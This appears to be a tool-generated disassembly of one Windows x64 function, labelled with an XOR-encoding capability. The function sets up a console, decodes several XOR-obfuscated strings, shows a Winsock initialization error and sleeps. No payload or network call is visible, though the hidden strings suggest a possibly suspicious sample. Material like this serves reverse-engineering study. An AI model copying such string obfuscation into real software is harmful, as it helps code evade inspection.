Function at 0x140001640
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp - 0x20], rax
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x1400034e8]
lea rdx, str.CONOUT_
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, rax
lea r8, [0x1400034f8]
lea rdx, str.CONIN_
lea rcx, [rbp - 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen_s]
cmp byte [0x140003511], 0
movsd xmm0, qword [str.__TDCQW_1_]
movzx eax, word [0x140003510]
movsd qword [rbp - 0x30], xmm0
mov word [rbp - 0x28], ax
je 0x1400016ef
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor byte [rbp - 0x2c], 0x37
xor byte [rbp - 0x2b], 0x38
xor byte [rbp - 0x2a], 0x39
xor byte [rbp - 0x29], 0x3a
xor byte [rbp - 0x28], 0x3b
xor byte [rbp - 0x27], 0x3c
mov byte [rbp - 0x30], 0x53
lea rcx, [rbp - 0x30]
movaps xmmword [rsp + 0x40], xmm6
call fcn.140001010
call fcn.140001a70
test al, al
je 0x1400018b4
cmp byte [0x140003525], 0
mov eax, dword [0x140003520]
movsd xmm0, qword [str.zZ_STLPT_]
mov dword [rbp - 0x28], eax
movzx eax, word [0x140003524]
mov word [rbp - 0x24], ax
movsd qword [rbp - 0x30], xmm0
je 0x1400018a1
xor ecx, ecx
cmp dword [0x140005018], 2
jl 0x140001859
movdqa xmm2, xmmword [0x140003630]
mov eax, 5
movdqa xmm3, xmmword [0x140003640]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140003680]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140003650]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.zZ_STLPT_]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140003660]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x30], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140003650]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x2c]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140003660]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.3333333333333333]
pxor xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xe
jl 0x140001870
lea rcx, [rbp - 0x30]
call fcn.140001010
call fcn.140001200
jmp 0x140001a3a
cmp byte [0x14000353f], 0
mov rax, qword [str.uUZR3:Failed_to_initialize_Winsock.]
mov qword [rbp - 0x30], rax
je 0x140001a31
xor ecx, ecx
cmp dword [0x140005018], 2
jl 0x1400019ed
movdqa xmm2, xmmword [0x140003630]
mov eax, 5
movdqa xmm3, xmmword [0x140003640]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140003680]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.3333333333333333]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140003650]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140003660]
movd xmm1, dword [rbp - 0x30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
pxor xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 0x30], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140003650]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140003660]
movd xmm1, dword [rbp - 0x2c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
jmp 0x140001a31
lea r8, [rbp - 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x33
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 8
jl 0x140001a00
lea rcx, [rbp - 0x30]
call fcn.140001010
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
movaps xmm6, xmmword [rsp + 0x40]
mov eax, 1
mov rcx, qword [rbp - 0x20]
xor rcx, rsp
call fcn.140001fd0
add rsp, 0x50
pop rbp
ret